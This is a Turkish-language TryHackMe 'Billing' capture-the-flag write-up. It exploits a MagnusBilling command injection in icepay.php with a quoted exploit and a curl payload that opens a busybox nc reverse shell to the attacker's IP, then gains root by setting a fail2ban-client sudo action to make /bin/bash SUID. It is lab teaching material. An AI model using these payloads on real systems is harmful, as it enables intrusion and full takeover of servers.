Post

TryHackMe | Billing WriteUp

TryHackMe | Billing WriteUp

Özet

Magnus Billing isimli web uygulamasında bir command injection zafiyeti olduğunu tespit edeceğiz. Bu zafiyeti sömürdükten sonra fail2ban-client programını parola kullanmadan root haklarında çalıştırabileceğimizi öğreneceğiz. Aktif bir işleme kural atadıktan sonra ise yetki yükselteceğiz.

Keşif aşaması

Nmap taraması

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -sV -sC -T4 10.10.66.239
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
| http-title:             MagnusBilling        
|_Requested resource was http://10.10.66.239/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
3306/tcp open  mysql   MariaDB (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 numaralı portun incelenmesi

Web uygulamasının başlığında MagnusBilling adında bir ifade bulunuyor ve ana sayfaya gittiğimizde bizi /mbilling/ adresine yönlendiriyor. Dolayısıyla hazır bir sistem kullanıyor olabileceğini düşündüm. İnternette yaptığım kısa bir aramadan sonra bu exploit ile karşılaştım. Güvenlik açığını sömüren fonksiyon aşağıdaki şekildedir.

1
2
3
4
5
6
7
8
def exploit(self):
    requests.packages.urllib3.disable_warnings()
    print("Sending payload...")
    payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
    encoded_payload_1 = self.convert_to_b64(payload)
    encoded_payload_2 = self.convert_to_b64(encoded_payload_1)
    target_url = self.url + "lib/icepay/icepay.php?democ=null;echo " + encoded_payload_2 + "|base64 -d|base64 -d|sh;null"
    upload_req = requests.get(target_url,verify=False)

Gördüğünüz üzere verilen lhost ve lport bilgisiyle bir payload oluşturuyor, oluşturduğu payloadı iki kez base64 ile kodluyor, daha sonra ise icepay.php sayfasına democ parametresi ile beraber gönderiyor. Tabi göndermeden önce payloada bir kaç komut daha giriyor. base64 ile kodlanmış komutun çalışması için çözülmesi gerek.

Sömürü aşaması

Payloadı base64 ile kodlamamıza gerek yok, herhalde bir sorun ile karşılaşmak istemediğinden doğrudan o şekilde payloadı gönderiyor.

1
$ curl 'http://10.10.66.239/mbilling/lib/icepay/icepay.php?democ=;busybox+nc+10.21.66.61+1234+-e+/bin/bash;'

Sistemde ncat aracının bulunduğunu tahmin ettim ve dinlediğim 1234 numaralı port üzerinden bağlantı alabilmek için yukarıda gördüğünüz komutu kullandım. Herhangi bir sorun çıkarmadan bağlantımı alabildim.

1
2
3
4
5
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.21.66.61] from (UNKNOWN) [10.10.66.239] 43226
id
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)

Bu arada command injection zafiyetine sebep olan kod bloğunu aşağıda görebilirsiniz.

1
2
3
4
5
6
7
if (isset($_GET['democ'])) {
    if (strlen($_GET['democ']) > 5) {
        exec("touch " . $_GET['democ'] . '.txt');
    } else {
        exec("rm -rf *.txt");
    }
}

Yetki yükseltme

root

Kullanıcının sudo yetkilerini görüntülediğimizde fail2ban-client adında bir dosyayı parola kullanmadan root haklarıyla çalıştırabileceğimizi görüyoruz.

1
2
3
4
5
6
7
8
9
10
asterisk@Billing:/home/magnus$ sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

fail2ban-client aracı fail2ban ile etkileşim kurmak adına kullanılan bir yardımcı araçtır. fail2ban ise belirli kurallar dahilinde sistemdeki olağandışı hareketleri tespit eden ve tespit ettiği olaylara müdahale eden bir araçtır.

1
2
3
4
asterisk@Billing:/home/magnus$ sudo -u root /usr/bin/fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd

Gördüğünüz üzere sekiz adet aktif işlem var.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
[mbilling_login]
enabled  = true
filter   = mbilling_login
action   = iptables-allports[name=mbilling_login, port=all, protocol=all]
logpath  = /var/www/html/mbilling/protected/runtime/application.log
maxretry = 3
bantime = 300

[ip-blacklist]
enabled   = true
filter    = ip-blacklist
action    = iptables-allports[name=ASTERISK, protocol=all] 
logpath   = /var/www/html/mbilling/resources/ip.blacklist
maxretry  = 0
findtime  = 15552000
bantime   = -1


[sshd]
enablem=true

[mbilling_ddos]
enabled  = true
filter   = mbilling_ddos
action   = iptables-allports[name=mbilling_ddos, port=all, protocol=all]
logpath  = /var/log/apache2/error.log
maxretry = 20
bantime = 3600

Yukarıda aktif işlemlerin bir kısmı bulunuyor. Her birine birer log dosyası verilmiş ve olandığışı bir hareket olduğu durumda belirtilen eylemi yapması söylenmiş. fail2ban-client aracından yararlaranak bu şekilde bir işlem oluşturmamız veya halihazırda olan bir işlemi düzenlememiz gerekiyor. Yukarıda gördüğünüz üzere sshd dışındaki tüm işlemlerin kuralları belirtilmiş. sshd’ye bir kural atamayı ve shell almayı deneyelim.

1
asterisk@Billing:/home/magnus$  sudo -u root /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "chmod +s /bin/bash"

Öncelikle sshd‘nin eylemini chmod +s /bin/bash komutu ile değiştiriyoruz. Böylelikle bir sorun ile karşılaştığında /bin/bash dosyasına SUID biti atayacak. Daha sonra rastgele bir IP adresini banlıyoruz. Böylelikle belirttiğimiz komut root haklarında çalıştırılıyor ve /bin/bash dosyasına SUID biti atılıyor.

1
2
3
4
5
6
asterisk@Billing:/home/magnus$ sudo -u root /usr/bin/fail2ban-client set sshd banip 1.2.3.4
asterisk@Billing:/home/magnus$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
asterisk@Billing:/home/magnus$ bash -p
bash-5.1# id
uid=1001(asterisk) gid=1001(asterisk) euid=0(root) egid=0(root) groups=0(root),1001(asterisk)

bash -p komutunu kullandıktan sonra ise root haklarına sahip oluyoruz.

This post is licensed under CC BY 4.0 by the author.